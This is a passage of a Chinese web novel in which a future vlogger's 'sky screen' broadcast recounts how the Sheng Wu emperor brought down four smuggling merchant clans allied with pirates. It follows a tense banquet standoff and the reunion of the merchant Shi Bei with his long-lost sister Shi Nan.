【会对盛武帝有怀疑的,我估计是不怎么了解大盛历史的人,盛武帝可是史学界公认的明君典范。以他取得的那些历史功绩,咱们这位文武全能、智勇双全的老祖宗,他还真是不需要这些细枝末节的事情来镀金】 天幕下,盛昭帝原本看到有人质疑凌戈是弄虚作假时,心中还有些不悦,觉得这些人实在是鼠目寸光,不知这天下能人有多少。 但当看到后世网友对凌戈的袒护和称赞后,他顿时就又觉得心情一阵舒畅,甚至朝此刻正陪着他一起观看天幕的魏平感慨说道: “老夫虽然儿子的数量不多,但有皇帝这么一位儿子,也足以胜过这世间其他所有的父亲了。” 而魏平在听到盛昭帝这番话后,脸上也是露出了一抹轻松的笑容,他朝盛昭帝回道: “主子爷,我看呀,何止是您有这种感受。咱们大盛的子民,对于自己能碰到陛下这样一位英明神武的君父,大家心中也都是欢喜得很。” 魏平说这话,并非是为了恭维盛昭帝,而是真的发自内心如此想。 作为盛昭帝的贴身太监,在凌戈没出现之前,魏平心中其实也和盛昭帝同样很是担忧。 这些年来,他在帮盛昭帝办事的过程中,难免会得罪过一些人。 而纵观历史,像他们这样的皇帝贴身太监,能得个善终的归宿,终究是少之又少,更多的都是下场凄惨,甚至是死无全尸,曝尸荒野。 原本,见盛昭帝只能从卫王和鲁王这俩人之中挑选,他虽然没有明面上表现出自己对卫王和鲁王的态度,但心中却对自己的未来很是悲观。 可凌戈的意外出现,却让他看到了自己未来的希望。 魏平并不指望自己还能像盛昭帝执政时那样地位显赫,他只盼着自己能够安然平静地度过晚年。 …… 【正是靠着盛武帝的耐心教导,石北他们才顺利积攒下了人生的第一桶金】 【而石北也确实没有辜负盛武帝的赏识,他凭借着自己敏锐的商业嗅觉和高明的经商能力,为盛武帝创办的那个自强商号赚到了数不胜数的财富】 【盛武帝当初在打天下时,其军费来源,有很大一部分,其实就是来自于自强商号】 【不过,因为石北很是低调,所以当时只有极少数人知道石北其实和盛武帝的联系很是紧密】 【直到盛武帝解除海禁,石北的自强商号第一个拿到了朝廷颁发的海洋贸易许可证,那些东南沿海的豪商,这才意识到自己原来一直被石北给蒙在了鼓里】 【不过,那个时候,即使那些豪商悔到肠子都青了,也已经无济于事,一个个还是逃不过被盛武帝抄家灭族的惩罚】 天幕下,庭院中,一众豪商听到“抄家灭族”这四个字,瞬间都脸色各异。 有人是惊得当场瞪大眼睛,也有人是露出了忐忑恐慌的神情,当然也有人是神情平静从容,好似一切都与自己无关,但袖下的手却是悄悄在发颤着。 “石老板,您知道我老陈胆子小,向来不敢做什么违法乱纪的事情。若是我蒙受了冤屈,我拜托您,您可得千万帮我向圣上陈情一番啊。” 一个陈姓丝绸商人这时突然出声,打破了院里尴尬凝滞的气氛。 而在他说话以后,那些此刻心中其实对石北意见颇大的豪商,也纷纷争着抢着开口,甚至许下丰厚条件,只希望石北能在未来帮自己说说情。 面对这些人的讨好和奉承,石北反应则很是冷淡,他直接扬声说道: “各位老板,你们不必惊慌失措。当今圣上向来以民为本、英明果断,他绝对不会故意冤枉好人,制造冤假错案。只要咱们大家都清白无辜,就大可以把心都放回肚子里。” 听到石北这个回应,豪商们虽然纷纷应是,但很多人心中却是依然急得跟热锅上的蚂蚁似的。 他们无不无辜,他们自己难道不知道吗? 此刻,不少往日里往寺庙捐赠了大笔钱财的豪商,都纷纷在心中求神拜佛,祈祷许三九待会可千万别在天幕上点到自己的名。 而在精致庭院之外的世界,很多老百姓则是面露好奇和探寻的目光,想知道这些豪商到底都干了什么,才会让盛武帝气得将他们都给抄家灭族了。 第78章 直播8:断人财路,犹如…… 天幕上,许三九望向镜头,说道: 【宝子们,如果我问你们一个问题,什么样的生意最暴利,相信很多人的脑中,肯定都会浮现出“走私”或者“垄断”这两个词】 【而如果将“走私”和“垄断”这两个词结合在一起,那能赚到的利润,绝对就更是泼天的富贵了】 【所以,在盛武帝放开海禁之前,当时东南沿海的周刘郑陈这四家,就是靠着垄断秘密航道,进行海洋贸易的走私,才得以日进斗金、赚到盆满钵满】 听到许三九提及这些事,在场的众多豪商中,包括石北在内,没有人脸上出现意外之色。 因为这个情况,只要是在东南沿海生活过一段时间的人,都能听到一些风声。 而且,今天带头组织这场宴会的,正是刚才被许三九提及的周家。 至于刘郑陈这三家,此刻也同样在现场。 刚才最开始打趣石北的那个刘姓丝绸商,就是掌管刘家的家主。 不过,这位刘家主如今已经没有心思再抱怨石北隐瞒自己的事情了。 他和另外那三个家主,虽然早在刚才听到许三九介绍盛武帝会解除海禁时,心中其实就已经有预感,但真的听到自家被许三九在天幕上点名,他们四人瞳孔中还是霎时间充满了惊惧。 他们四家在东南沿海或许能称得上一声“土财主”,但让他们与盛武帝这样大权在握的天下之主为敌,那简直是如同螳臂当车一般荒唐。 天幕上,许三九此时在继续介绍着关于周刘郑陈这四家的情况: 【在盛昭帝统治时期,当时大盛政局还算清明,所以周刘郑陈这四家还不敢将走私海洋贸易这事直接摆到台面上来】 【但等到卫王统治东南沿海的那十年,他们直接连卫王这个关节都砸重金打通了下来,让卫王也成为了他们利益链上的一环】 【于是,在那十年间,他们四家的走私贸易堪称是一帆风顺,规模越做越大】 【等到盛武帝统一南北时,周刘郑陈每家私下拥有的经商船只,甚至已经多达两百余艘】 天幕下,周刘郑陈四家的家主,听到许三九只是说这些,脑中紧绷着的那根弦这才微微松了些许。 他们想着,反正他们如今走私的规模还没有那么大,而且盛武帝显然也是支持放开海禁的态度,那盛武帝就算现在想要处罚他们违反海禁的行为,应该也不太可能严重到“抄家灭族”那样的程度。 他们大可以私下里和盛武帝谈谈条件,然后再从家族里找一些替死鬼推出去受罚。 然而,还没等他们心中松一口气时,许三九接下来说出的话,直接就把他们吓得差点当场心脏病发作。 【在那个时候,所有想要从海洋贸易里分一杯羹的人,都必须附属在周刘郑陈他们四家,听从周刘郑陈他们这四家的命令】 【如果有人想要单干的话,那么当他的商船进到海里时,最先迎来的不会是官府的打压,反而会是海盗的残酷洗劫】 【相信聪明的宝子,听到这里,肯定就已经猜到,这些海盗,事实上其实是周刘郑陈他们四家在海洋上的打手,或者也可以称作是私人武装】 【当时盘踞在小鸦岛上的孙吉海盗集团,就是因为有周刘郑陈他们四家在背后支持,才逐渐发展壮大,成为了除海王寨之外,东南沿海第二大的海盗势力】 天幕下,听到许三九突然捅出孙吉来,周刘郑陈四家的家主瞬间瞳孔都紧缩了一下。 石北的眸中也飞速闪过了一抹思索,同时身体不由暗暗紧绷了起来。 他们如今正身处周家的地盘上,若是周刘郑陈四家破罐子破摔,打算与他们来个鱼死网破,到时局势可就有点不妙了。 其他的豪商此刻心中也都产生了和石北一样的担忧。 有人意图想要偷偷离开,但他刚试着迈出两步,就立刻有个膀大腰粗的小厮拦住了他的去路,使得他不得不重新回到原处。 在场众位豪商注意到这一情况后,更是纷纷心都沉了几分。 …… 【孙吉所掌控的海盗集团,一开始不过就是个数十人的小团体,但在搭上周刘郑陈四家的船后,他的势力就开始迅速膨胀了起来】 【不过,正如那句老话所说,拿人钱财,帮人消灾】 【周刘郑陈这四家豪强可不是什么老好人或者冤大头,他们之所以愿意资助孙吉那么多钱财,就是希望孙吉能够帮他们实现海洋贸易上的垄断】 【而孙吉也确实是按照他们的命令,多次以海盗的身份,帮他们下狠手铲除了试图染指海洋贸易的竞争对手】 【甚至,在卫王统治东南沿海的那近十年时间里,所有想要参与海洋贸易走私的商贩,都必须向周刘郑陈这四家购买天价的通行令牌才可下海】 【在这种情况下,盛武帝决定全面解除海禁的这条政策,自然是会招来周刘郑陈他们四家的强烈反对和阻挠】 【周刘郑陈他们四家原来之所以能够靠海洋贸易获得暴利,是因为他们打通了官场从下到上的各个关节,同时掌控了沿海的所有航道】 【而一旦盛武帝他解除了海禁,那他们四家之前所掌握的那些优势,就都会遭受到很大程度的削弱】 【所以,在这种情况下,周刘郑陈这四个既得利益者家族,就打算联合其他之前也参与了海洋贸易走私的商贩,一同给盛武帝使绊子,迫使他继续保持原来海禁的政策】 【因为当时盛武帝正在东南沿海地区推广红薯苗的种植,所以这四个家族就将主意打到了红薯苗的头上,他们希望通过在种植红薯这事上作梗的方式,迫使盛武帝无暇顾及海禁那边的事情】 【这四个家族当时还不知道石北是盛武帝的发小,所以在举办密谈会时,还把石北也给一起邀请了过来】 【有了石北做内应,他们打算对红薯进行造谣的阴险计划,自然是很快就传到了盛武帝的耳中】 天幕下,刚才打趣石北的那个刘家家主,此刻听到这里时,忍不住斜睨了石北一眼,阴阳怪气地开口道: “石老板,你可真是对圣上毕恭毕敬,比我家养的看门狗还听话呢!” 石北好像根本没看到那刘家家主此刻望着他的阴鸷眼神。 他在听到刘家家主的话后,甚至还勾起嘴角朝那刘家家主笑了笑,开口回道: “刘老板,滴水之恩,尚且需要涌泉相报,更何况圣上还是我的救命恩人呢!若是没有圣上当年的帮助,我石北一个流浪街头的孤儿,今天可站不到你刘老板的面前。” 石北丝毫不觉得自己为凌戈通风报信的行为有什么问题。 在他看来,他这些年来,欠凌戈的恩情属实是多到下辈子都还不清。 如果能有机会帮上凌戈的忙,那他自然是得竭尽全力帮凌戈一把才对。 而刘家家主看到石北此刻那副淡定从容的模样,心中则更是一时间恼怒到了极点。 天幕上,许三九这时还在继续说着: 【虽然盛武帝提前知道了周刘郑陈这四大家族打算对红薯进行造谣的事情,但因着周刘郑陈这四个家族当时在东南沿海的势力很是庞大,所以有关红薯的各种负面谣言,依然很快就在东南沿海流传了开来】 【其中有一则流传最广,且影响最大的谣言,就是说红薯之所以如此高产,是因为它是吸食土地肥力的妖邪之物,如果农民在自己的土地上种植了红薯,那么土地来年便会因为诅咒而荒芜贫瘠,成为不毛之地】 【这种谣言,在咱们今天看来,肯定很多人会觉得很可笑】 【毕竟,红薯已经是历史极其悠久的粮食作物了,但在当时的东南沿海,很多百姓一生都不曾离开过自己的家乡,思维非常闭塞,所以自然很容易相信这样的谣言】 【很多原本从衙门免费领了红薯苗的村民,在听说了这则谣言以后,就都吓得急忙用烈火把红薯苗给烧毁了】 【至于那些已经把红薯苗种植到田地里的农民,则是纷纷重新把红薯苗从地里给拔了出来】 【而除了广泛传播关于红薯的谣言外,周刘郑陈这四个家族还花重金收买了不少读书人,让他们从各个角度写文章,对红薯进行全方面的抨击】 【因着这四大家族的种种手段,原本在东南沿海推广得很顺利的红薯苗,一夕之间就成了人人喊打的妖物】 【在四大家族看来,盛武帝原先那么重视红薯苗的宣传和种植情况,现在东南沿海这边出了岔子,那他的注意力肯定会转移到红薯苗那边的事情上】 【然而,让四大家族没有料到的,是盛武帝他竟然对东南沿海的红薯苗谣言采取了放任不管的态度】 【三九我个人认为,四大家族当时走这步路,其实真不算是太聪明的样子】 【东南沿海本就是鱼米之乡,盛武帝在那边推行红薯的种植,只是想为当地老百姓增加一些粮食储备而已】 【而且,当时北方其他地方早已推行了多年的红薯种植,所以大盛的粮食产量和储备量其实是远比从前增加了许多】 【就算东南沿海地区的老百姓拒绝种植红薯苗,这其实也并不会对盛武帝以及整个地区的粮食局势,产生太大的影响】 天幕下,皇宫里,凌戈听到这时,突然轻笑了一声。 飞在他身边的小蓝球系统听到凌戈的笑声,顿时朝凌戈疑惑问道:“凌戈,你不生气就算了,怎么还笑了起来啊?” 凌戈在心中回复他道:“天幕上的东南沿海,是最晚种植红薯的地区,但这一世,东南沿海因为气温适宜的缘故,反而会是最早种植红薯苗的地区。如今有了天幕的宣传,接下来,红薯苗在东南沿海的推广工作,肯定会进展地更加顺利。” 凌戈前几天就已经从系统仓库里,拿出了小蓝球系统之前奖励给他的那批红薯苗。 他直接将那批红薯苗都交到了户部的农事官手中,让农事官们带着红薯苗赶到东南各地,开始进行试点种植。 小蓝球系统之前就已经知道凌戈迫切想要通过推广红薯,来解决百姓粮食匮乏问题的心思。 所以听到凌戈的话后,他当即也乐得笑出声来,朝凌戈讲道: “有了许三九在天幕上的提醒,我看那四大家族这下可就没法再阻碍红薯的种植了!” 凌戈赞同地点了点头。 …… 【当然,那四大家族选择对红薯苗造谣,可能也是因为他们当时其实手头上并没有其他更合适的手段了】 【毕竟,在造谣之前,他们也曾买通过一些官员,让这些官员在朝堂上提出反对解除海禁的意见,但盛武帝还是照样坚持要解除海禁,由此就可以看出盛武帝对全面恢复海洋贸易的决心了】 【在周刘郑陈他们那四大家族看来,断人财路,就犹如杀人父母,所以他们自然是对盛武帝恨得咬牙切齿,但却又拿盛武帝毫无办法】 【而随着海禁政策的全面解除,越来越多的商贩则开始参与进了海洋贸易】 【为了保持自己在海洋贸易上的垄断地位,周刘郑陈他们那四大家族就决定指使以孙吉为首的海盗集团,对那些商船进行劫掠】 【他们想要通过这样的方法,来吓退那些试图参与海洋贸易的商贩】 【然而,正当他们与上岸来的孙吉进行密会商讨时,他们就被盛武帝叫人给一锅端了】 【原来,石北早就已经察觉到周刘郑陈他们四家与孙吉的海盗集团关系匪浅,并且将这个消息报给了盛武帝知道】 【盛武帝原先之所以一直没对那四大家族动手,就是怕打草惊蛇,使得孙吉这个双手沾满血债、劣迹斑斑的海盗头子给逃了】 【现在孙吉从海里上岸,盛武帝自然不会放过这个难得的大好机会】 【于是,原本在东南沿海专横跋扈、妄图一手遮天的周刘郑陈四大家族,就此遭到盛武帝的彻底清算,从此消失在历史的长河中】 天幕下,随着许三九的叙说,周刘郑陈这四大家族的家主,望向石北这个盛武帝发小的眼神,慢慢都透出了几分凶光。 察觉到空气中的气氛变得越来越紧张和微妙,在场的其他豪商们,此时一个个都恨不能把自己变成透明人,生怕自己会卷进这场一触即发的冲突中。 第79章 直播8:万金寻妹 “哼!今生能拉着圣上的发小一起上路,我刘亚劲也算是活得够本了!” 那位家中主营丝绸的刘姓家主说这狠话时,眼睛还不忘恶狠狠地盯着石北。 石北面对他的威胁,却是轻笑了一声,朝他道:“刘老板真是好气魄,就是不知你那三个儿子和唯一的孙子,有没有这样豁达的心胸了?” 听到石北提起自己儿子和孙子,刘亚劲瞬间更是怒得额头青筋直跳,他张开口,正想朝石北破口大骂时,就又听到石北朝他说道: “虽然老话都说斩草要除根,但我知道圣上并不是那样心肠冷硬的人。不过,若是你们今天行差踏错,执意要一条道走到黑,那你们之后可就没资格说什么稚子无辜了!” 石北扫了一眼刘亚劲以及另外那三个正朝自己怒目直视的家主,他语气淡定地继续说道: “你们这四个家族,就算是存在时长最短的陈家,也都传承了一百来年。我想,比起我这个孑然一身的孤儿来,你们应该不会希望自己的家族走到断子绝孙那一步吧?” 刘亚劲以及另外那三个家主很想在石北面前硬气起来,但石北的威胁,确实是打在了他们的七寸上。 脾气最急的刘亚劲,此刻也最先按捺不住,他望向石北,咬牙说道: “石老板,我知道你和圣上关系好,你若是能让圣上答应,案件审到我们这四个家主就止住,我就让他们三人也都答应放你以及其他人平安离开!” 听到刘亚劲朝石北开出的这个条件,在场的其他豪商瞬间都目露期盼地看向石北。 然而,在这众多视线的注视下,石北却是毫不犹豫就拒绝了刘亚劲。 他直接朝刘亚劲说道:“刘老板,恕我直言,你们现在可没有和我谈条件的资格。我都想不明白,你是怎么好意思和我狮子大开口的?只追责你们四人,你觉得这天底下有这么美的事情吗?” 石北说到这,甚至直接冷哼了一声,“我愿意劝圣上放过你们四家的稚童,是因为幼儿尚小,确实无辜,但你们家的成年男丁们,你们真以为我不知道他们平日里的行事作风吗?” 看到石北的态度那么强硬,半点都没有对刘亚劲他们发怵的模样,其他一心只想活命的豪商们,纷纷在心中哀嚎了起来,甚至还有人怨恨起了石北,觉得他看不清眼前这“人为刀俎我为鱼肉”的严峻局势。 然而,面对石北的强势拒绝,刘亚劲和另外那三个家主互相对视了一眼,四人脸上原本强撑出的霸道模样,瞬间都蔫了下去,现出了色厉内荏的原形。 正当刘亚劲想开口朝石北再谈下条件时,一个小厮从外面跑进了院里。 这小厮也不知道是无意,还是故意,一见到刘亚劲他们,直接就扬声喊道: “老爷,不好了,那个海青瑾她带人找上门来了,说是有事情找石老板商量。” 小厮话音刚落,还没等刘亚劲他们从这爆炸性消息中反应过来,众人就已经看到海青瑾的身影出现在了小厮的身后。 跟着她一起出现的那些海王寨海盗,也瞬间出手制服住院中的其他小厮和护院打手。 原来,海青瑾今天之所以在松江府,是为了和凌戈从京师派过来的钦差商谈招安的事宜。 因着上一次的天幕,这一次的招安,双方可以说是相向而行,商谈自然也就格外的顺利。 而海青瑾在松江府这边也有自己的眼线,她之前就已经听说石北今天会来参加宴会的消息。 所以,当她看到刚才最初的天幕内容时,她立刻就推测到石北可能会面临生命之危,成为周刘郑陈他们四家用来威胁盛武帝妥协的人质。 能够在招安初始,就碰到如此难得的立大功机会,海青瑾自然不会舍得放过。 她带着下属们全力朝这边奔赴,这才能在此刻突然现身在众人的面前。 而海青瑾的出现,也确实是出乎了在场所有人的意料。 刘亚劲和另外那三个家主,在看到海青瑾的身影后,意识到自己连石北这个最后能拿来和盛武帝谈判的条件都已经失去,四人瞬间神色惨白如纸,甚至还有一个人吓到双腿发软,瘫倒在了地上。 随后,官府的人也抵达了现场,并且将那四个家主及其相关人士,都迅速带回府衙中进行关押和审讯。 而其他的豪商们,在发生了这么大的变故后,此刻也没心思再继续留在这里,生怕自己会被牵扯进这场风暴,于是纷纷都朝石北和海青瑾提出了告别。 原本还有些喧闹的园林,突然间变得安静了下来。 石北望向海青瑾,笑着说道:“海大当家,多谢您刚才的及时救援,免了我好大的麻烦。” 石北刚才面对周刘郑陈他们那四家时,虽然表现得很是英勇无惧的模样,但实际上心里也没底,只是想着搏一搏,说不定能镇得住刘亚劲他们,免得他们真破罐子破摔,拿在场其他无辜的人泄愤。 而海青瑾听到石北朝自己道谢,则是洒脱地摆了摆手,望向石北说道: “石老板,咱们现在可是一个锅里吃饭的人。你遇到麻烦,我如果袖手旁观,那又怎么对得起圣上对我的器重?” 海青瑾如今是雄心勃勃,想要在凌戈的麾下干出一番大事业来。 而她在说完以后,似乎是突然想起了什么,笑着朝石北补充了一句: “对了,石老板,你以后可不能再称呼我为‘海大当家’,这个称呼已经变成过去式,你下回得改口了。” 石北昨天就已经和那位凌戈派来的招安钦差碰过面,知道凌戈对海青瑾诚意满满,还让那位钦差为海青瑾带来了一份封官的圣旨,直接给海青瑾赐了正三品的将军职衔。 所以,听到海青瑾的提醒后,石北瞬间恍然大悟,急忙不好意思地朝海青瑾道了声歉,然后改口称海青瑾为“海将军”,同时还向她祝贺了一番。 而海青瑾见自己都还没朝石北解释什么,石北就已经领悟了一切,瞬间便意识到石北早就知道了那封圣旨的存在。 海青瑾从这一细节中,更加深刻地感受到了盛武帝对石北这个发小的信任。 因此,她心中对石北的态度,也变得越发谨慎了起来。 此时的天幕上,许三九还在介绍着关于石北的事迹,甚至还提到了海青瑾的存在。 【在扫除了如同毒瘤般的周刘郑陈那四大家族后,盛武帝又下令,让海青瑾率领大盛海军,剿灭了东南沿海大大小小的各个海盗势力】 【随着东南沿海的形势变得和平安稳下来,大盛的海洋贸易自然更是发展得如火如荼】 【而因着石北做生意讲究诚信、货真价实,从不会对合作伙伴用那种坑蒙拐骗的龌龊手段,所以当时不少外商都很愿意找他做交易】 【再加上他本身又生财有道,时常能敏锐捕捉到市场的变化和商机,所以他积攒的财富也就越来越多,最后甚至还成为了当时的大盛首富】 【而按理来说,人活到石北这个成就,应该是已经了无遗憾才是,但石北在临终前,面对来送他最后一程的盛武帝,却是提出了一个不情之请】 【没错,相信很多宝子应该都猜到了,石北的这个最后的遗言请求,正是与他那个从小分离失散的妹妹石南有关】 【石北小时候家中非常贫困,穷得揭不开锅,所以他父母便将当时已经三岁的女儿卖给了人牙子】 【石北一直非常疼爱石南这个妹妹,得知父母卖掉了妹妹的事情后,他各种哭闹,但都没法让父母松口,说出把女儿卖到了哪里去】 【等到他父母相继病亡后,妹妹的下落更是成了他心头上永远压着的那一块砖】 【在石北发家之后,他曾经广贴寻人启事,甚至许诺说只要有人能帮他找到妹妹,他愿以万金酬谢,然而重赏之下,除了有勇夫外,还会有一堆骗子】 【石北因为那些骗子失望了太多次,甚至连他的家人都劝他放弃,不要再做无用功了】 【石北正是因为知道等自己死后,家里人不会帮着他继续找寻妹妹的下落,这才拜托盛武帝,将自己最后的希望都寄托在盛武帝身上】 【他向盛武帝表示道,如果盛武帝能够找到他妹妹石南,那他的一半家产,就都会由他妹妹来继承。但如果直到盛武帝驾崩时,还是没能找到石南的话,那他留给妹妹的那一半家产,就都会捐给朝廷的国库】 天幕下,听到“石北”的这个遗嘱,海青瑾脸上不由浮现出了诧异之色。 在海青瑾看来,如果“石北”不是对盛武帝拥有绝对的信任,那他绝对提不出这样的请求来。 因为,假如一直找不到“石南”的话,那盛武帝和大盛国库才会是利益最大化的那一方。 盛武帝只需要什么都不做,他就可以让大盛的国库得到“石北”这个首富一半的庞大家产。 石北注意到了海青瑾此刻脸上惊讶的神情,他笑着望向海青瑾道: “海将军,你没见过圣上,所以你才会有那样的感受。你若是和他相处过的话,你就绝不会对他产生那样的怀疑了。而且,他若是想要我的家产,他只要一句话,我都会心甘情愿地双手奉上,根本不需要他等候那么长的时间。” 海青瑾听到石北这话后,越发对凌戈充满了好奇,她不明白为什么石北能够对凌戈有那么强的信心。 第80章 直播8:苦尽甘来,兄妹…… 天幕上,许三九嗓音明朗地说道: 【对于石北这个最后的遗言,石北的家人当时都很是不理解,但因为石北坚持如此,所以他们也拿石北没办法,只能任由石北在盛武帝面前提出这么一个遗言】 【在石北的子孙们看来,别说是自家一半的财产了,就算是四分之一的家产,那都已经是个天文数字了】 【财帛动人心,石北的子孙们以己度人,认为盛武帝肯定是乐于见到石家一半的家产最后落进国库之中】 【毕竟,石南当时已经下落不明了数十年,除了石北之外,几乎没人再对找到她这件事还抱有什么希望】 【也就是说,盛武帝就算什么都不干,然后最后宣布说自己没能找到石南的下落,也不会有人对此感到怀疑,因为找不到才是正常的结果】 【然而,现实却是,盛武帝确实没有辜负石北对他的信任】 【在石北去世后的第七年,盛武帝他还真的帮石北找到了他失散多年的亲妹妹石南】 天幕下,凌戈听到许三九这话,眼神顷刻间变得更认真了起来。 他认识石北那么多年,他当然知道石北对找到妹妹的执念有多深。 现在见天幕可能帮石北早日和妹妹石南团圆,凌戈心中也不由替石北这个发小感到开心。 而石北这个当事人,他在刚才听到许三九说自己未来的子孙怀疑凌戈可能会“中饱私囊”时,眉头就不禁皱了起来。 但当听到在自己去世以后,凌戈确实帮自己实现了遗愿,他脸上神情骤然是变得又激动又紧张,甚至还夹杂着些许忐忑,害怕自己会听到关于妹妹的不幸消息。 【盛武帝是在松江府那边找到的石南】 【当时石南过得并不是很好,虽然膝下有两个儿子,但却都是没良心的白眼狼】 【因为石南年迈病重的缘故,她的两个儿子不愿意帮石南找大夫看病,就将石南给赶到了一处破庙中,任其生死由天】 【盛武帝找到石南时,石南由于连续多天发高烧,已经是一只脚踏入了鬼门关,另一只脚跟着也要落地了】 【盛武帝当时已经退位,正与孟皇后隐瞒身份,在民间四处游玩。他和孟皇后为了将石南抢救回来,便找到当时的松江府知府,朝她亮明身份,并让她帮忙请来当地多位名医,为石南进行抢救】 天幕下,石北听到妹妹这个遭遇,瞬间气得咬紧牙关,双手紧紧握成了拳头。 海青瑾也面露不满,觉得石南那两个儿子真是畜生不如,竟然连生母都能见死不救。 许三九望向镜头,说道: 【或许是老天有眼,也或许是石北这个哥哥在天有灵,石南在昏迷了大半个月后,最终还是被大夫们给抢救了回来】 【盛武帝在石南身体慢慢恢复健康以后,便朝她解释了石北托自己帮忙找寻她下落的事情】 【说来也神奇,石南是三岁时,被父母卖给了人牙子,但当盛武帝找到她时,她竟然还清晰记得石北这个哥哥,而且也还记得她小时候的很多事情】 【三九我个人感觉,石南的脑子应该也是和她哥哥石北一样很好使,只是命不太好,所以这才没能得到展现才华的机会】 许三九说到这时,视频中的弹幕数量瞬间增加了许多: 【说真的,石南也不能说是命不好吧?虽然她人生前几十年确实过得很是坎坷和艰辛,可她后面那三十多年,日子简直是潇洒得跟神仙生活似的】 【石南的运气确实算还行啦,毕竟,如果换做是其他皇帝,很可能直接就把石北那一半的家产给吞了,才不可能像盛武帝那样守信,还真的一直在花心思找寻石南】 【石南运气好不好这一点,我感觉见仁见智,不过,我记得石南暴富以后,她那两个白眼狼儿子简直是悔得肠子都青了。因为石南连一文钱都不愿意分给他们,甚至还直接跟他们两个断绝了母子关系。光是冲石南这个行为,我就觉得活该她享尽荣华富贵】 【如果我没记错的话,石南她是不是在去世后,还直接把她从她哥石北那里继承的全部财富,全都捐给了大盛的朝廷国库啊?】 【没错,她其中一个儿子,还因为这件事,直接被气得也断了气呢】 【哈哈哈哈哈哈哈,那两个白眼狼肯定是觉得,等石南去世以后,自己就能继承石南一半的家产,却没想到石南宁愿把钱都捐给朝廷,都不愿意分给他们两个继承】 【要我说,石南选择捐给国库,也不难理解,毕竟如果没有盛武帝,石南指不定早就到九泉之下和她哥石北团聚了,哪来后面那三十多年的惬意自在生活啊】 …… 网友们在弹幕中讨论观点和看法时,许三九已经将话题转到了介绍石南的经历上面。 【石南当初被父母卖给人牙子以后,人牙子又将她转手卖给了一个南方来的商队,这也正是石南能从西北跨越到东南,出现在松江府的原因】 【那商队之所以买下石南,是因为觉得石南的五官底子好,带到南方后,很可能会被豪商权贵买下,当作家仆来培养】 【而正如那商队的分析,石南在被带到松江府以后,也确实是很快就被一户姓蔡的茶商给买进了府中】 天幕下,听到许三九这话,石北瞬间在脑海中飞速回忆,自己接触过的蔡姓茶商,分别都有谁。 而松江府所有姓蔡的茶商,也都纷纷喊来府中的管家,让管家们赶紧查询自家是否有名为石南的丫鬟。 这些茶商都希望能通过这事,来让自家与石北这个盛武帝发小搭上关系。 【石南在进到那茶商家后,一开始的工作是在厨房里帮着给人跑腿打下手,但随着她年岁渐长,五官慢慢长开,府中的管家见她相貌姣好,便将她给调到了那茶商的夫人身边伺候】 【因着那茶商很是好色的缘故,即使他已经年过半百,他家中的后宅争斗也依然很是厉害,妻妾之间没少互相给对方使绊子和争宠】 【所以,那茶商夫人在得知茶商看上了自己身边年轻貌美的石南后,自然是喜出望外,想让石南去伺候好那茶商,帮着自己在茶商身边固宠】 【然而,石南却并不稀罕给那茶商当小妾,她其实一直都在暗暗攒钱,希望自己有朝一日能赎买回自己的卖身契,彻底恢复自由身】 【那茶商夫人平日里看似是面慈心善,但眼见石南无论如何,都不愿意为自己所用后,她便和那茶商一起记恨上了石南,觉得石南是给脸不要脸】 【于是,为了给石南一个教训,同时杀鸡儆猴,这对茶商夫妻便故意将石南赐给了他们府上一个脾气暴戾的下人】 天幕下,石南一脸震惊地望着天幕,而她身边的另外两个婢女,则是一脸不可思议地望着她。 起初,石南听到许三九在天幕上提起“石北”和“石南”这两个名字时,她还不敢确定,怕自己心中的期望最后会变成一场空。 但当听到许三九提起“蔡姓茶商”以及“小妾”的事情后,石南便明白了,原来自己真的就是天幕上那个“石南”,她哥哥也一直都没有放弃过找寻她的下落。 “太好了,小南!这下子,你可算是脱离苦海了!”娃娃脸的少女笑着朝石南祝贺道。 而石南听到朋友这话,脸上也不禁露出了高兴的笑容,她望向娃娃脸少女说道: “小柳,等我哥找过来,我就拜托他,帮你也把卖身契给一起赎回来!” 石南知道小柳其实也一直想要为自己赎身,只是因为赎金过于高昂,所以小柳才很少和她提起这事。 而小柳在听到石南这话后,脸上也是瞬间露出了兴奋之色,声音甚至激动到微微破音: “小南,谢谢你,等我以后攒够钱了,我一定会把这赎金还给你哥!” 石南和小柳俩人脸上满是喜色,但站在她们身边的另一个蓝衣婢女,此刻脸上神情却是说不上的复杂。 那蓝衣婢女望向石南,嘴角努力挤出一抹笑容,讨好地说道: “恭喜你了,小南。你这下可是苦尽甘来,能和你哥哥团圆了。” 石南好似根本没听到蓝衣婢女的声音,看都没看她一眼,依然和自己的好友小柳谈着许三九刚才在天幕上提到的事情。 而石南之所以对蓝衣婢女采取这么一个冷漠的无视态度,也正是因为许三九刚才在天幕上提及的“妾室”一事。 事实上,在刚才天幕浮现之前,蓝衣婢女对石南的态度,可不像现在这般友善的模样。 相反,为了能够讨得夫人和茶商的欢心,迫使石南答应成为茶商的妾室,蓝衣婢女她方才对石南是好一阵威胁逼迫,嘴脸极其丑恶和嚣张。 石南刚才简直是被她气得不行,觉得她实在是面目可憎到了极点。 所以,即使蓝衣婢女现在突然对自己态度一百八十度转变,石南也并不吃她踩低捧高那一套。 而此刻比蓝衣婢女心情还更加惶恐的,则是那意图迫使石南做妾室的茶商与其夫人。《 》 80-89 第81章 直播8:多行不义必自毙…… 天幕下,石南拉着好友小柳,从茶商的府邸中走出。 而那蔡姓茶商和他的夫人,则是脸上挂着讨好的笑容,跟在石南身边。 茶商满脸谄媚笑意,望着石南说道: “石姑娘,您何必急着离开呢?我让人驾辆马车,送您和小柳过去,这样可比您走路过去省力多了。” 石南和小柳已经从茶商那里,要回了自己的卖身契。 原本,如果石南和小柳想要为自己赎身,她们需要付出的金钱,得是茶商原来买下她们时花费的上百倍。 但茶商在从天幕那得知石南竟然是石北的亲妹妹后,便“大发慈悲”,说可以免费把卖身契还给石南和小柳她们。 小柳原本还想拒绝,说可以把自己这些年攒下来的存款都交给茶商,就当作是赎回卖身契的钱。 但石南听了她的想法后,却是否定了她这个念头。 在石南看来,自己和小柳这些年来在茶商家里,可以说是一年三百六十五天都没个歇息的日子。 而茶商每月给她们的月钱又低得可怜,所以她们干的活,早就已经足够抵消茶商买下她们的钱了。 所以,既然茶商愿意直接还给她们卖身契,那她们直接拿着就好了,根本不用有任何觉得亏欠茶商的想法。 而在恢复自由身以后,石南也不愿意再在茶商家中多待一秒,直接就拉着小柳想要离开。 她从茶商刚才在与她的交谈中,已经得知她哥石北此刻应该是在隔壁那条街上的一处私家园林中参加宴会。 这一片是松江府的富人住宅聚集区,石南因为之前经常需要出门帮厨房采买物资的缘故,所以对这一代也算是熟悉,知道那处园林在哪个位置。 